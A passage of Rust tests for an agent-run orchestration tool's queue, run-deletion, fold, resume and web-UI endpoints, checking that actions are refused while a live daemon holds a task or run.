23783        assert!(!crate::triage::pending_for(&questions, &task));
23784        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
23785        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
23786    }
23787
23788    #[test]
23789    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
23790        use crate::queue::HoldSource;
23791        let mut task = Task::new(
23792            "Recovery".into(),
23793            "Inspect".into(),
23794            PathBuf::from("/repo"),
23795            Source::Human,
23796        );
23797        assert!(task_recovery(&task).is_none());
23798        task.hold_manual(Some("Operator paused".into()));
23799        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
23800        task.block(vec!["dependency".into()], Some("Decision needed".into()));
23801        let text = task_recovery(&task).unwrap();
23802        assert!(text.contains("restores held"));
23803        assert!(text.contains("clears its dependency references"));
23804        task.hold_source = Some(HoldSource::Machine);
23805        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
23806        task.mark_disk_capacity();
23807        let view = TaskView::with_inventory(
23808            task.clone(),
23809            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
23810        );
23811        let json = serde_json::to_value(view).unwrap();
23812        assert_eq!(json["block_reason"], "Decision needed");
23813        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
23814        let recovery = json["recovery"].as_str().unwrap();
23815        assert!(recovery.contains("not current capacity"));
23816        assert!(recovery.contains("triage rechecks"));
23817        assert_eq!(json["blockers"][0]["state"], "missing");
23818        task.blocked_from = Some(TaskStatus::Queued);
23819        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
23820        task.blocked_from = None;
23821        assert!(task_recovery(&task).unwrap().contains("restores held"));
23822    }
23823
23824    #[tokio::test]
23825    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
23826        let fx = Fixture::start().await;
23827        let q = fx.queue();
23828        let mk = |title: &str| {
23829            Task::new(
23830                title.to_owned(),
23831                "Instruction".to_owned(),
23832                PathBuf::from("/repo"),
23833                Source::Human,
23834            )
23835        };
23836        let mut root = mk("root");
23837        root.hold_manual(Some("waiting".to_owned()));
23838        q.put(&mut root).unwrap();
23839        let mut mid = mk("mid");
23840        mid.block(vec![root.id.clone()], None);
23841        q.put(&mut mid).unwrap();
23842        let mut leaf = mk("leaf");
23843        leaf.block(vec![mid.id.clone()], None);
23844        q.put(&mut leaf).unwrap();
23845
23846        let list = fx.get("/api/queue").await.json();
23847        let find = |id: &str| {
23848            list.as_array()
23849                .unwrap()
23850                .iter()
23851                .find(|v| v["id"] == id)
23852                .unwrap()
23853                .clone()
23854        };
23855        let leaf_view = find(&leaf.id);
23856        assert_eq!(
23857            leaf_view["waits_on"],
23858            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
23859        );
23860        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
23861        assert_eq!(
23862            find(&mid.id)["waits_on"],
23863            serde_json::json!([format!("{} (held)", root.short())])
23864        );
23865        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
23866    }
23867
23868    #[tokio::test]
23869    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
23870        let fx = Fixture::start().await;
23871        let q = fx.queue();
23872
23873        // 1. A queued task with runs attached can be deleted.
23874        let mut t1 = Task::new(
23875            "Task 1".to_owned(),
23876            "Instruction 1".to_owned(),
23877            PathBuf::from("/repo"),
23878            Source::Human,
23879        );
23880        let run_id = "20260901-000000-r111";
23881        t1.runs.push(run_id.to_owned());
23882        write_run(&fx.runs(), run_id, RunStatus::Merged);
23883        q.put(&mut t1).expect("put t1");
23884
23885        // Delete by short id
23886        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
23887        assert_eq!(res.status, 204);
23888        assert!(res.body.is_empty(), "204 No Content has no body");
23889        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
23890        assert!(
23891            fx.runs().join(run_id).exists(),
23892            "run directory must not be deleted when its task is deleted"
23893        );
23894
23895        // 2. A task a live daemon is running is refused with 409.
23896        let mut t2 = Task::new(
23897            "Task 2".to_owned(),
23898            "Instruction 2".to_owned(),
23899            PathBuf::from("/repo"),
23900            Source::Human,
23901        );
23902        t2.status = TaskStatus::Running;
23903        q.put(&mut t2).expect("put t2");
23904        let mut beat = crate::daemon::Status::new();
23905        beat.current = vec![crate::daemon::Current {
23906            worker: None,
23907            task: t2.id.clone(),
23908            run: "20260901-000000-r222".to_owned(),
23909        }];
23910        beat.updated_at = jiff::Timestamp::now();
23911        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23912            .expect("publish a heartbeat");
23913        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
23914        assert_eq!(res.status, 409);
23915        assert!(
23916            res.json()["error"]
23917                .as_str()
23918                .unwrap()
23919                .contains("live daemon")
23920        );
23921        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
23922
23923        // 3. The same `running` status and an orphaned lock, with no daemon
23924        // behind either, is a leftover and deletable. Before this the phone
23925        // refused it for good: the status never changes on its own and
23926        // nothing drops a lock whose process is gone.
23927        // The daemon is killed: the file stays, the heartbeat stops.
23928        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
23929        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23930            .expect("leave a stale heartbeat");
23931        let mut t3 = Task::new(
23932            "Task 3".to_owned(),
23933            "Instruction 3".to_owned(),
23934            PathBuf::from("/repo"),
23935            Source::Human,
23936        );
23937        t3.status = TaskStatus::Running;
23938        q.put(&mut t3).expect("put t3");
23939        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
23940        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
23941        assert_eq!(res.status, 204);
23942        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
23943        assert!(
23944            q.claim(&t3.id).is_ok(),
23945            "the stale lock went with it, so the id is claimable again"
23946        );
23947
23948        // 4. Missing id returns 404
23949        let res = fx.delete("/api/queue/nonexistent").await;
23950        assert_eq!(res.status, 404);
23951    }
23952
23953    #[tokio::test]
23954    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
23955        let fx = Fixture::start().await;
23956        let runs = fx.runs();
23957
23958        // 1. Finished and folded run can be deleted along with artifacts
23959        let run_id = "20260901-000000-fold";
23960        let mut state = RunState::new(
23961            PathBuf::from("/repo"),
23962            "main".to_owned(),
23963            "abc".to_owned(),
23964            "instruction".to_owned(),
23965            Config::default(),
23966        );
23967        state.id = run_id.to_owned();
23968        state.status = RunStatus::Merged;
23969        state.candidates.push(crate::run::Candidate {
23970            index: 0,
23971            label: 'A',
23972            agent: "a".to_owned(),
23973            branch: "b".to_owned(),
23974            worktree: PathBuf::from("/w"),
23975            summary: String::new(),
23976            stat: String::new(),
23977            files: 1,
23978            commits: 1,
23979            empty: false,
23980            failed: None,
23981            verified_noop: None,
23982            duration_ms: 0,
23983            folded: true,
23984        });
23985        let dir = runs.join(run_id);
23986        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
23987        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
23988            .expect("write artifact");
23989        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
23990            .expect("write run.json");
23991
23992        // Delete by short id
23993        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
23994        assert_eq!(res.status, 204);
23995        assert!(res.body.is_empty(), "204 has no body");
23996        assert!(!dir.exists(), "run directory and artifacts must be deleted");
23997
23998        // 2. A run a live daemon is working on is refused with 409. The
23999        // heartbeat is what makes it refusable: an unfinished run with no
24000        // daemon behind it is a leftover from a killed process, and case 1
24001        // above would otherwise be impossible to tell apart from this one.
24002        let run_running = "20260901-000000-rung";
24003        write_run(&runs, run_running, RunStatus::Prep);
24004        let mut beat = crate::daemon::Status::new();
24005        beat.current = vec![crate::daemon::Current {
24006            worker: None,
24007            task: "20260901-000000-task".to_owned(),
24008            run: run_running.to_owned(),
24009        }];
24010        beat.updated_at = jiff::Timestamp::now();
24011        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24012            .expect("publish a heartbeat");
24013        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
24014        assert_eq!(res.status, 409);
24015        assert!(
24016            res.json()["error"]
24017                .as_str()
24018                .unwrap()
24019                .contains("live daemon"),
24020            "the refusal must say who is holding it"
24021        );
24022        assert!(
24023            runs.join(run_running).exists(),
24024            "a run in flight keeps its directory"
24025        );
24026
24027        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
24028        let run_unfolded = "20260901-000000-unfd";
24029        let mut state2 = RunState::new(
24030            PathBuf::from("/repo"),
24031            "main".to_owned(),
24032            "abc".to_owned(),
24033            "instruction".to_owned(),
24034            Config::default(),
24035        );
24036        state2.id = run_unfolded.to_owned();
24037        state2.status = RunStatus::Ready;
24038        state2.candidates.push(crate::run::Candidate {
24039            index: 0,
24040            label: 'A',
24041            agent: "a".to_owned(),
24042            branch: "b".to_owned(),
24043            worktree: PathBuf::from("/w"),
24044            summary: String::new(),
24045            stat: String::new(),
24046            files: 1,
24047            commits: 1,
24048            empty: false,
24049            failed: None,
24050            verified_noop: None,
24051            duration_ms: 0,
24052            folded: false,
24053        });
24054        let dir2 = runs.join(run_unfolded);
24055        std::fs::create_dir_all(&dir2).expect("create dir2");
24056        std::fs::write(
24057            dir2.join("run.json"),
24058            serde_json::to_string(&state2).unwrap(),
24059        )
24060        .expect("write run.json");
24061
24062        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
24063        assert_eq!(res.status, 409);
24064        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
24065        assert!(dir2.exists(), "unfolded run directory is kept");
24066
24067        // 4. Missing id returns 404
24068        let res = fx.delete("/api/runs/nonexistent").await;
24069        assert_eq!(res.status, 404);
24070    }
24071
24072    /// The queue tiles on the Stats tab must render even on a home with no
24073    /// runs at all: queue state is not derived from run history, so hiding
24074    /// the whole dashboard body behind "no runs yet" would drop the one
24075    /// thing this tab promises unconditionally (queued/running/held/done).
24076    /// A DOM-level test would need a browser this suite does not have, so
24077    /// this pins the same invariant textually: `renderStatsQueue` is called
24078    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
24079    /// block that gates the run-derived panels.
24080    #[test]
24081    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
24082        let start = APP_JS
24083            .find("function renderStats() {")
24084            .expect("renderStats");
24085        let end = start
24086            + APP_JS[start..]
24087                .find("function statsTile(")
24088                .expect("the next top-level function");
24089        let body = &APP_JS[start..end];
24090
24091        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
24092        let gate_end = gate_start
24093            + body[gate_start..]
24094                .find("}\n  renderStatsQueue")
24095                .expect("the gate's own closing brace, right before the unconditional call");
24096        let gated = &body[gate_start..gate_end];
24097
24098        assert_eq!(
24099            body.matches("renderStatsQueue(").count(),
24100            1,
24101            "renderStats must call renderStatsQueue exactly once: {body}"
24102        );
24103        assert!(
24104            !gated.contains("renderStatsQueue"),
24105            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
24106             run-derived panels on an empty run history - the queue panel has to render \
24107             regardless: {gated}"
24108        );
24109    }
24110
24111    #[test]
24112    fn web_ui_delete_contract_in_front_end() {
24113        // 1. API block has both delete endpoints
24114        assert!(APP_JS.contains("deleteRun:"));
24115        assert!(APP_JS.contains("deleteTask:"));
24116
24117        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
24118        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
24119            ..APP_JS.find("function renderRuns").unwrap()];
24120        assert!(!run_cards_slice.to_lowercase().contains("delete"));
24121
24122        // 3. Run detail has delete entry and reasons
24123        assert!(APP_JS.contains("renderRunDelete"));
24124        assert!(APP_JS.contains("runDeleteReason"));
24125        assert!(APP_JS.contains("magi fold"));
24126        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
24127
24128        // 4. Two-step delete arming and focus on Cancel
24129        assert!(APP_JS.contains("cancel.focus"));
24130        assert!(APP_JS.contains("armedRunDelete"));
24131        assert!(APP_JS.contains("renderTaskDeleteBox"));
24132        assert!(APP_JS.contains("armed${cap(key)}"));
24133
24134        // 5. Running task has disabled delete
24135        assert!(APP_JS.contains("disabled: status === \"running\""));
24136    }
24137
24138    /// Every element a run card's updater reaches for must be in the `refs`
24139    /// the builder handed it.
24140    ///
24141    /// `createRunCard` builds its elements, appends them to the card, and then
24142    /// lists them again in `row.refs`. That second list is the one the updater
24143    /// uses, and nothing connects the two - an element can be built, appended
24144    /// and rendered, and still be missing from `refs`. `superseded` was, for
24145    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
24146    /// exception took `syncList` with it, and the deck showed
24147    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
24148    /// line is computed before the cards, which is why the failure looked like
24149    /// a server that had lost its runs rather than a front end that had
24150    /// stopped rendering them.
24151    ///
24152    /// A `cargo test` cannot execute the front end, so this reads the two
24153    /// halves out of the source and compares them as sets. It is not a check
24154    /// on the wording of either list: adding an element, renaming one, or
24155    /// reordering them all keeps this passing, and only using one the builder
24156    /// never published fails it.
24157    #[test]
24158    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
24159        let build = APP_JS
24160            .find("function createRunCard")
24161            .expect("createRunCard exists");
24162        let update = APP_JS
24163            .find("function updateRunCard")
24164            .expect("updateRunCard exists");
24165        let end = APP_JS
24166            .find("function renderRuns")
24167            .expect("renderRuns exists");
24168
24169        // The builder's published set: the object literal assigned to `refs`.
24170        let builder = &APP_JS[build..update];
24171        let open = builder.find("refs = {").expect("createRunCard sets refs");
24172        let literal = &builder[open + "refs = {".len()..];
24173        let close = literal.find('}').expect("the refs literal is closed");
24174        let published: HashSet<&str> = literal[..close]
24175            .split(',')
24176            // `name` and `name: value` both bind `name`.
24177            .filter_map(|entry| entry.split(':').next())
24178            .map(str::trim)
24179            .filter(|name| !name.is_empty())
24180            .collect();
24181        assert!(
24182            published.len() > 5,
24183            "the refs literal did not parse into names: {published:?}"
24184        );
24185
24186        // What the updaters reach for: every `r.<name>`, where `r` is the
24187        // `const r = row.refs` alias both functions open with.
24188        let mut used: Vec<&str> = Vec::new();
24189        let updaters = &APP_JS[update..end];
24190        for (at, _) in updaters.match_indices("r.") {
24191            // `r` must be the whole identifier, not the tail of another one
24192            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
24193            let before = updaters[..at].chars().next_back();
24194            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
24195                continue;
24196            }
24197            let rest = &updaters[at + 2..];
24198            let len = rest
24199                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
24200                .unwrap_or(rest.len());
24201            if len > 0 {
24202                used.push(&rest[..len]);
24203            }
24204        }
24205        assert!(
24206            used.len() > 5,
24207            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
24208        );
24209
24210        let missing: Vec<&str> = used
24211            .iter()
24212            .copied()
24213            .filter(|name| !published.contains(name))
24214            .collect();
24215        assert!(
24216            missing.is_empty(),
24217            "a run card's updater reaches for {missing:?}, which `createRunCard` \
24218             never put in `refs` - every card will throw and the list will \
24219             render empty under a count line that says otherwise. Published: \
24220             {published:?}"
24221        );
24222    }
24223
24224    #[tokio::test]
24225    async fn folding_from_the_phone_reports_what_it_removed() {
24226        let fx = Fixture::start().await;
24227        let runs = fx.runs();
24228
24229        // A run with no candidates has nothing to fold, which is a 200 with an
24230        // honest count rather than an error: the operator asked for the trees
24231        // to be gone and they are.
24232        let id = "20260901-000000-fold";
24233        write_run(&runs, id, RunStatus::Stalled);
24234        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24235        assert_eq!(res.status, 200);
24236        assert_eq!(res.json()["removed_count"], 0);
24237        assert_eq!(res.json()["run"], id);
24238        assert!(
24239            runs.join(id).exists(),
24240            "a fold keeps the run's record; only the worktrees go"
24241        );
24242    }
24243
24244    /// `runs/<A>/run.json` holding run B's record is not run A: the phone's fold
24245    /// routes refuse it instead of folding B on A's say, and change nothing.
24246    #[tokio::test]
24247    async fn folding_a_record_that_names_another_run_is_refused() {
24248        let fx = Fixture::start().await;
24249        let runs = fx.runs();
24250        let (a, b) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24251        write_run(&runs, a, RunStatus::Stalled);
24252        write_run(&runs, b, RunStatus::Stalled);
24253        std::fs::copy(runs.join(b).join("run.json"), runs.join(a).join("run.json")).unwrap();
24254        let record = std::fs::read(runs.join(a).join("run.json")).unwrap();
24255
24256        let res = fx.post(&format!("/api/runs/{a}/fold"), None).await;
24257        assert_eq!(res.status, 500, "{}", res.body);
24258        assert!(res.body.contains("not run"), "{}", res.body);
24259        let res = fx
24260            .post(
24261                &format!("/api/runs/{a}/fold-merged"),
24262                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24263            )
24264            .await;
24265        assert_eq!(res.status, 500, "{}", res.body);
24266        assert_eq!(
24267            std::fs::read(runs.join(a).join("run.json")).unwrap(),
24268            record
24269        );
24270    }
24271
24272    #[tokio::test]
24273    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
24274        let fx = Fixture::start().await;
24275        let runs = fx.runs();
24276        let wt = fx.home.path().join("wt").join("magi").join("dead");
24277        let id = "20260901-000000-dead";
24278        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24279        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
24280        std::fs::create_dir_all(&wt).expect("worktree dir");
24281
24282        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24283        assert_eq!(res.status, 200, "{}", res.body);
24284        assert!(
24285            res.json()["removed_count"].as_u64().unwrap() > 0,
24286            "the worktree this build could not read a state for still went"
24287        );
24288        assert!(
24289            !runs.join(id).exists(),
24290            "an unreadable run has no candidate list to fold selectively, so \
24291             the whole record goes - same as `magi fold` on the CLI"
24292        );
24293    }
24294
24295    #[tokio::test]
24296    async fn folding_a_record_of_another_run_in_a_refused_schema_is_an_identity_error() {
24297        let fx = Fixture::start().await;
24298        let runs = fx.runs();
24299        let id = "20260901-000000-mism";
24300        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24301        let record = br#"{"schema": 99999, "id": "20260901-000000-else"}"#.to_vec();
24302        std::fs::write(runs.join(id).join("run.json"), &record).expect("record");
24303
24304        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24305        assert_eq!(res.status, 500, "{}", res.body);
24306        assert!(
24307            res.json()["error"]
24308                .as_str()
24309                .unwrap()
24310                .contains("records run 20260901-000000-else"),
24311            "{}",
24312            res.body
24313        );
24314        assert_eq!(
24315            std::fs::read(runs.join(id).join("run.json")).unwrap(),
24316            record,
24317            "nothing is removed"
24318        );
24319    }
24320
24321    #[tokio::test]
24322    async fn deleting_an_unreadable_run_removes_it_wholesale() {
24323        let fx = Fixture::start().await;
24324        let runs = fx.runs();
24325        let wt = fx.home.path().join("wt").join("magi").join("gone");
24326        let id = "20260901-000000-gone";
24327        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24328        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
24329        std::fs::create_dir_all(&wt).expect("worktree dir");
24330
24331        let res = fx.delete(&format!("/api/runs/{id}")).await;
24332        assert_eq!(res.status, 204, "{}", res.body);
24333        assert!(!runs.join(id).exists(), "the broken record is gone");
24334        assert!(!wt.exists(), "its worktree is gone too");
24335    }
24336
24337    #[tokio::test]
24338    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
24339        let fx = Fixture::start().await;
24340        let runs = fx.runs();
24341        let id = "20260901-000000-live";
24342        write_run(&runs, id, RunStatus::Implementing);
24343
24344        let mut beat = crate::daemon::Status::new();
24345        beat.current = vec![crate::daemon::Current {
24346            worker: None,
24347            task: "20260901-000000-task".to_owned(),
24348            run: id.to_owned(),
24349        }];
24350        beat.updated_at = jiff::Timestamp::now();
24351        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24352            .expect("publish a heartbeat");
24353
24354        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24355        assert_eq!(res.status, 409);
24356        assert!(
24357            res.json()["error"]
24358                .as_str()
24359                .unwrap()
24360                .contains("live daemon"),
24361            "folding under a running agent would pull its worktree away"
24362        );
24363    }
24364
24365    #[tokio::test]
24366    async fn fold_merged_requires_a_pr_url() {
24367        let fx = Fixture::start().await;
24368        let runs = fx.runs();
24369        let id = "20260901-000000-nourl";
24370        write_run(&runs, id, RunStatus::Blocked);
24371
24372        let res = fx
24373            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
24374            .await;
24375        assert_eq!(res.status, 400, "{}", res.body);
24376
24377        let blank = fx
24378            .post(
24379                &format!("/api/runs/{id}/fold-merged"),
24380                Some(r#"{"pr_url":"   "}"#),
24381            )
24382            .await;
24383        assert_eq!(blank.status, 400, "{}", blank.body);
24384    }
24385
24386    #[tokio::test]
24387    async fn fold_merged_is_404_for_an_unknown_run() {
24388        let fx = Fixture::start().await;
24389        let res = fx
24390            .post(
24391                "/api/runs/nosuchrun/fold-merged",
24392                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24393            )
24394            .await;
24395        assert_eq!(res.status, 404, "{}", res.body);
24396    }
24397
24398    #[tokio::test]
24399    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
24400        let fx = Fixture::start().await;
24401        let runs = fx.runs();
24402        let id = "20260901-000000-livemerge";
24403        write_run(&runs, id, RunStatus::Blocked);
24404
24405        let mut beat = crate::daemon::Status::new();
24406        beat.current = vec![crate::daemon::Current {
24407            worker: None,
24408            task: "20260901-000000-task".to_owned(),
24409            run: id.to_owned(),
24410        }];
24411        beat.updated_at = jiff::Timestamp::now();
24412        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24413            .expect("publish a heartbeat");
24414
24415        let res = fx
24416            .post(
24417                &format!("/api/runs/{id}/fold-merged"),
24418                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24419            )
24420            .await;
24421        assert_eq!(res.status, 409, "{}", res.body);
24422        assert!(
24423            res.json()["error"]
24424                .as_str()
24425                .unwrap()
24426                .contains("live daemon"),
24427            "correcting a run's merge underneath a running agent would race \
24428             whatever it is doing to the same `status`/`merge` fields"
24429        );
24430    }
24431
24432    /// A pull request `gh` cannot even ask about (no such remote, no such
24433    /// repository) must never be recorded as a merge on a guess - the same
24434    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
24435    /// command line, reached here through the phone route instead.
24436    #[tokio::test]
24437    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
24438        let fx = Fixture::start().await;
24439        let runs = fx.runs();
24440        let id = "20260901-000000-unconfirmed";
24441        write_run(&runs, id, RunStatus::Blocked);
24442
24443        let res = fx
24444            .post(
24445                &format!("/api/runs/{id}/fold-merged"),
24446                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24447            )
24448            .await;
24449        assert_eq!(res.status, 400, "{}", res.body);
24450        assert_eq!(
24451            read_run(&runs, id).unwrap().status,
24452            RunStatus::Blocked,
24453            "a pull request that could not be confirmed merged must leave \
24454             the run exactly where it was"
24455        );
24456    }
24457
24458    #[tokio::test]
24459    async fn terminal_runs_cannot_be_resumed() {
24460        let fx = Fixture::start().await;
24461        let runs = fx.runs();
24462
24463        for (status, word) in [
24464            (RunStatus::Merged, "merged"),
24465            (RunStatus::Ready, "ready"),
24466            (RunStatus::Failed, "failed"),
24467        ] {
24468            let id = format!("20260901-000000-{}", &word[..4]);
24469            write_run(&runs, &id, status);
24470            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
24471            assert_eq!(res.status, 409, "{word} must not be resumable");
24472        }
24473    }
24474
24475    #[tokio::test]
24476    async fn resume_is_refused_while_the_loop_is_running() {
24477        let fx = Fixture::start().await;
24478        let runs = fx.runs();
24479        let stalled = "20260901-000000-stal";
24480        write_run(&runs, stalled, RunStatus::Stalled);
24481
24482        // The loop is busy with a *different* run, and that is still a
24483        // refusal: a manual resume must never race whatever the loop itself
24484        // is already driving, whether that is one run or several.
24485        let mut beat = crate::daemon::Status::new();
24486        beat.current = vec![crate::daemon::Current {
24487            worker: None,
24488            task: "20260901-000000-task".to_owned(),
24489            run: "20260901-000000-othr".to_owned(),
24490        }];
24491        beat.updated_at = jiff::Timestamp::now();
24492        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24493            .expect("publish a heartbeat");
24494
24495        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
24496        assert_eq!(res.status, 409);
24497        let err = res.json()["error"].as_str().unwrap().to_owned();
24498        assert!(err.contains("othr"), "it names what the loop is on: {err}");
24499        assert!(err.contains("stop it first"), "{err}");
24500    }
24501
24502    #[test]
24503    fn a_run_cannot_be_resumed_twice_at_once() {
24504        let home = TempDir::new().expect("temp home");
24505        let ui = Ui::new(
24506            Queue::at(home.path().join("queue")),
24507            Questions::at(home.path().join("questions")),
24508            Talks::at(home.path().join("talks")),
24509            home.path().join("runs"),
24510            home.path().to_path_buf(),
24511            PathBuf::from("/repo"),
24512        )
24513        .with_worktrees_root(home.path().join("wt"));
24514        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
24515        let again = ui.begin_resume("20260901-000000-once");
24516        assert!(again.is_err(), "a second tap must not start a second graph");
24517        drop(first);
24518        assert!(
24519            ui.begin_resume("20260901-000000-once").is_ok(),
24520            "and the claim is released when the attempt ends"
24521        );
24522    }
24523
24524    #[test]
24525    fn talk_thinking_tracks_only_its_held_turn_claim() {
24526        let home = TempDir::new().expect("temp home");
24527        let ui = Ui::new(
24528            Queue::at(home.path().join("queue")),
24529            Questions::at(home.path().join("questions")),
24530            Talks::at(home.path().join("talks")),
24531            home.path().join("runs"),
24532            home.path().to_path_buf(),
24533            PathBuf::from("/repo"),
24534        )
24535        .with_worktrees_root(home.path().join("wt"));
24536        let id = "20260901-000000-once";
24537
24538        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
24539        let turn = ui.begin_talk_turn(id).expect("claim turn");
24540        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
24541        assert!(
24542            !ui.is_thinking("20260901-000000-other"),
24543            "one talk's turn does not make another talk busy"
24544        );
24545        drop(turn);
24546        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
24547    }
24548
24549    #[test]
24550    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
24551        let home = TempDir::new().expect("temp home");
24552        let talks = Talks::at(home.path().join("talks"));
24553        let ui = Ui::new(
24554            Queue::at(home.path().join("queue")),
24555            Questions::at(home.path().join("questions")),
24556            talks.clone(),
24557            home.path().join("runs"),
24558            home.path().to_path_buf(),
24559            PathBuf::from("/repo"),
24560        )
24561        .with_worktrees_root(home.path().join("wt"));
24562        let id = "20260901-000000-cross";
24563
24564        let other = Talks::at(home.path().join("talks"))
24565            .claim_turn(id)
24566            .expect("claim")
24567            .expect("the other process wins");
24568        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
24569        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
24570        assert!(
24571            matches!(
24572                ui.begin_talk_turn_unless_pending(id).expect("start"),
24573                TalkTurnStart::Foreign
24574            ),
24575            "a foreign holder is refused, not queued behind"
24576        );
24577        assert!(
24578            !ui.talk_turns.lock().unwrap().live.contains(id),
24579            "a refused claim leaves no in-process entry behind"
24580        );
24581        drop(other);
24582        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
24583        assert!(talks.turn_held(id), "the web turn holds the lease");
24584        drop(turn);
24585        assert!(
24586            !talks.turn_held(id),
24587            "dropping the guard releases the lease"
24588        );
24589    }
24590
24591    fn consult_question(ui: &Ui) -> Question {
24592        let mut q = Question::new(
24593            "20260901-000000-consult".to_owned(),
24594            "implement".to_owned(),
24595            "impl-A".to_owned(),
24596            "Which backend?".to_owned(),
24597            String::new(),
24598            vec!["SQLite".to_owned(), "Redis".to_owned()],
24599        );
24600        ui.questions.put(&mut q).expect("question");
24601        q
24602    }
24603
24604    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
24605        (
24606            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
24607            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
24608        )
24609    }
24610
24611    #[tokio::test]
24612    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
24613        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
24614        let q = consult_question(&ui);
24615        let talk = ui.talks.get(&id).expect("talk");
24616        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
24617        let before = consult_snapshot(&ui, &q, &id);
24618        let cli_talks = Talks::at(ui.home.join("talks"));
24619        assert_eq!(
24620            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
24621                .await
24622                .expect("CLI starter"),
24623            crate::consult::Started::Busy
24624        );
24625        assert_eq!(consult_snapshot(&ui, &q, &id), before);
24626        assert!(ui.is_thinking(&id));
24627        drop(guard);
24628        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
24629    }
24630
24631    #[tokio::test]
24632    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
24633        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
24634        let q = consult_question(&ui);
24635        let talk = ui.talks.get(&id).expect("talk");
24636        let started = tmp.path().join("started");
24637        let release = tmp.path().join("release");
24638        let script = tmp.path().join("consult-agent.sh");
24639        std::fs::write(
24640            &script,
